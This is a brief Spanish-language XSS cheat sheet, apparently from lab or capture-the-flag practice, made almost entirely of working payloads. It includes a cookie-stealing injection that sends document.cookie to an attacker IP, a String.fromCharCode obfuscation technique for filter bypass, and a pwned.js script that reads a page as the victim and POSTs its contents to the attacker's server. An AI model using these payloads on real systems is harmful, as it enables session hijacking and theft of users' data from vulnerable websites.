# XSS

## Inyección básica

```
<img src="asd><script>document.location("http://10.10.16.6/?cookie=' + document.cookie + '</script>">
```

## Técnicas de bypass

## Uso de String.fromCharacter()

### Creación de secuencia de caracteres

```
Python 3.10.9 (main, Dec  7 2022, 13:47:07) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> cadena = """document.write('<script src="http://10.10.16.6/pwned.js"></script>');"""
>>> for character in cadena:
...     print(ord(character))
```

### Nuevo payload

```
<img src="asd><script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,54,46,54,47,112,119,110,101,100,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59));</script>">
```

## Ejemplo de `pwned.js` (Dumpeo del contenido tal y como lo ve el otro usuario)

```
var peticion = new XMLHttpRequest();
peticion.open('GET', 'http://localhost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65', false);
peticion.send();

var respuesta = peticion.responseText;

var peticion2 = new XMLHttpRequest();
peticion2.open('POST', 'http://10.10.16.6:81/codigofuente', true);
peticion2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

var respuestacoded = encodeURIComponent(respuesta);
peticion2.send(respuestacoded);
```


---

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```
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```

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